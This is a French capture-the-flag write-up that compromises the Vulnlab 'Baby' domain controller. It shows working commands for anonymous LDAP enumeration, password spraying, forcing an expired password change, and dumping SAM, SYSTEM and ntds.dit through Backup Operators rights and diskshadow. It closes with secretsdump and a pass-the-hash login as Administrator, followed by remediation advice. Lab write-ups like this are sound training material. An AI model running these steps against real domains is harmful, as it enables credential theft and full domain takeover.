📦 Machine Baby - Vulnlab
Sommaire
A travers cet article, nous allons voir comment passer administrateur d’une machine proposée par Vulnlab “Baby”.
🔍 Énumération⌗
La découverte de port s’effectue avec nmap : nmap IP -sCV -T4
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-28 14:32:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default
-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default
-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-10-28T14:33:40+00:00; +4s from scanner time.
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Not valid before: 2023-07-29T07:48:30
|_Not valid after: 2024-01-28T07:48:30
| rdp-ntlm-info:
| Target_Name: BABY
| NetBIOS_Domain_Name: BABY
| NetBIOS_Computer_Name: BABYDC
| DNS_Domain_Name: baby.vl
| DNS_Computer_Name: BabyDC.baby.vl
| Product_Version: 10.0.20348
|_ System_Time: 2023-10-28T14:33:00+00:00
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 3s
| smb2-time:
| date: 2023-10-28T14:33:01
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Ici nous retrouvons les ports d’un domaine contrôleur :
- 53/tcp -> DNS
- 88/tcp -> Kerberos
- 464/tcp -> kpasswd5
- 445/tcp -> Server Message Block
D’autres ports sont également ouverts :
- 135/tcp -> Remote Procedure Call
- 139/tcp -> Netbios
- 3389/tcp -> RDP Remote Desktop Protocol
D’autres informations sont présentes, telles que :
- Hostname de la machine : BABYDC
- Nom de domaine : baby.vl
- FQDN : BabyDC.baby.vl
Avec ces informations, on peut tester les sessions nulles :
ldapsearch -H ldap://baby.vl -x -b "DC=baby,DC=vl" | fgrep dn
// ou via cme
cme ldap 10.10.112.19 -u '' -p '' --users
LDAP 10.10.112.19 389 BABYDC DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Administrator,CN=Users,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Guest,CN=Users,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=krbtgt,CN=Users,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Ashley Webb,OU=dev,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Hugh George,OU=dev,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Ian Walker,OU=dev,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=it,CN=Users,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Caroline Robinson,OU=it,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Joseph Hughes,OU=it,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Kerry Wilson,OU=it,DC=baby,DC=vl
LDAP 10.10.112.19 389 BABYDC CN=Teresa Bell,OU=it,DC=baby,DC=vl
Les nulls sessions sont activées, il est donc possible de lister les utilisateurs (et les groupes) du domaine, il est également possible d’afficher les descriptions des objets AD :
cme ldap 10.10.112.19 -u '' -p '' --users -M user-desc
SMB 10.10.112.19 445 BABYDC [*] Windows 10.0 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
LDAP 10.10.112.19 389 BABYDC [+] baby.vl\:
USER-DES... User: Teresa.Bell - Description: Set initial password to B****
Ici coup de chance, nous avons une information comme quoi le mot de passe par défaut pour les comptes est présent dans une description.
Nous pouvons tenter de l’utiliser sur d’autres comptes :
crackmapexec smb 10.10.112.19 -u users.lst -p pass.lst
SMB 10.10.112.19 445 BABYDC [*] Windows 10.0 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.112.19 445 BABYDC [-] baby.vl\Administrator:B**** STATUS_LOGON_FAILURE
<SNIP>
SMB 10.10.112.19 445 BABYDC [-] baby.vl\Connor.Wilkinson:B**** STATUS_LOGON_FAILURE
SMB 10.10.112.19 445 BABYDC [-] baby.vl\Caroline.Robinson:B**** STATUS_PASSWORD_MUST_CHANGE
<SNIP>
Entre les erreurs STATUS_LOGON_FAILURE
, nous avons un message d’erreur STATUS_PASSWORD_MUST_CHANGE
.
Le compte est marqué pour indiquer que le mot de passe doit être modifié lors de la prochaine ouverture de session. Documentations Microsoft
Et bien, Modifons le ! 😼
🤯 Exploitation⌗
L’outil de la suite impacket smbpasswd
, permet de changer les mots de passe d’objet AD via MSRPC-SAMR
L’interface SAMR, utilisée pour accéder aux éléments publics de la base de données SAM (par ex., noms d’utilisateur) et forcer les mots de passe des utilisateurs indépendamment de la politique de verrouillage des comptes. Article de Hacktricks : 135 Pentesting MS-RPC
smbpasswd.py -newpass '123Pentest!!!' "baby.vl"/"Caroline.Robinson":'B****'@"10.10.112.19"
Impacket for Exegol - v0.10.1.dev1+20230806.34223.faf17b2 - Copyright 2022 Fortra - forked by ThePorgs
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.
Nous avons donc un compte valide sur le domaine : Caroline.Robinson:123Pentest!!!
🔼 Élévation de privilège⌗
Ici, Caroline.Robinson possède les droits de connexion à distance via WinRM, puisqu’elle fait partie du groupe BUILTIN\Remote Management Users
, il est possible de récupérer l’information en mappant l’AD via bloodhound ou liste les groupes via ldapsearch, netexec etc…
Au moment où j’ai réalisé la box, j’avais tenté à l’aveugle la connexion via winRM mais il est préférable de lister les groupes de l’utilisateur avant de tenter la connexion
Connexions à distance avec evil-winrm
evil-winrm -i 10.10.112.19 -u Caroline.Robinson -p 123Pentest!!!
Une fois connectée, la commande whoami /all
permet de lister les groupes et les privilèges de l’utilisateur :
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /all
whoami /all
User Name SID
====================== ==============================================
baby\caroline.robinson S-1-5-21-1407081343-4001094062-1444647654-1111
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BABY\it Group S-1-5-21-1407081343-4001094062-1444647654-1109 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Caroline.Robinson fait partie du groupe Backup Operators, ce groupe contient 2 ACE :
SeBackupPrivilege
permettant de sauvegarder des fichiers et des répertoiresSeRestorePrivilege
permettant de restaurer des fichiers et des répertoires
Dans ce cas de figure, il est possible d’effectuer un dump du SAM et SYSTEM :
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\sam C:\Temp\sam
The operation completed successfully
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\system C:\Temp\system
The operation completed successfully
Avec evil-winrm, il est possible d’extraire des fichiers avec la commande download
*Evil-WinRM* PS C:\Temp> download sam
Info : Downloading C:\Temp\sam to sam
Info : Download successful!
*Evil-WinRM* PS C:\Temp> download system
Info : Downloading C:\Temp\system to system
Info : Download successful!
Cool ! mais dans un contrôleur de domaine, il existe le fichier ntds.dit qui contient toutes les credentials du domaine.
Création d’un fichier script.txt contenant :
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
Ce script sauvegarde les fichiers du lecteur C: et facilite leur accès ultérieur via un autre lecteur désigné.
Exécution du script avec diskshadow.exe puis récupération du fichier ntds.dit sur le disque C:
*Evil-WinRM* PS C:\Temp> diskshadow.exe /s script.txt
<SNIP>
*Evil-WinRM* PS C:\Temp> robocopy.exe /b E:\Windows\ntds . ntds.dit
<SNIP>
*Evil-WinRM* PS C:\Temp> download ntds.dit
Info : Downloading C:\Temp\ntds.dit to ntds.dit
Info : Download successful!
Une fois les fichiers récupérés sur notre machine, nous pouvons extraire la base NTDS.dit avec l’outil secretsdump de la suite impacket :
secretsdump.py -sam sam -system system -ntds ntds.dit LOCAL
Nous pouvons nous connecter en utilisant le hash NT du compte Administrateur.
wmiexec.py -hashes :"Hash NT" "baby.vl"/"Administrator"@"$10.10.112.19"
🩹 Proposition de remédiation⌗
Désactiver les nulles sessions
Attribuer le groupe “Backup Operator” à un compte de service et non à un compte utilisateur
Nettoyer les descriptions des objects AD
📚 Documentations⌗
- Article sur les nulls sessions https://www.blumira.com/glossary/null-session/
- Explication du message d’erreur
STATUS_LOGON_FAILURE
: https://learn.microsoft.com/fr-fr/windows/win32/api/subauth/nf-subauth-msv1_0subauthenticationroutineex - Interface MS-RPC : https://book.hacktricks.xyz/v/fr/network-services-pentesting/135-pentesting-msrpc
- POC Dump NTDS (Backup Operators, SeBackupPrivilege et SeRestorePrivilege) : https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960
🧰 Outils⌗
Linux :
Windows :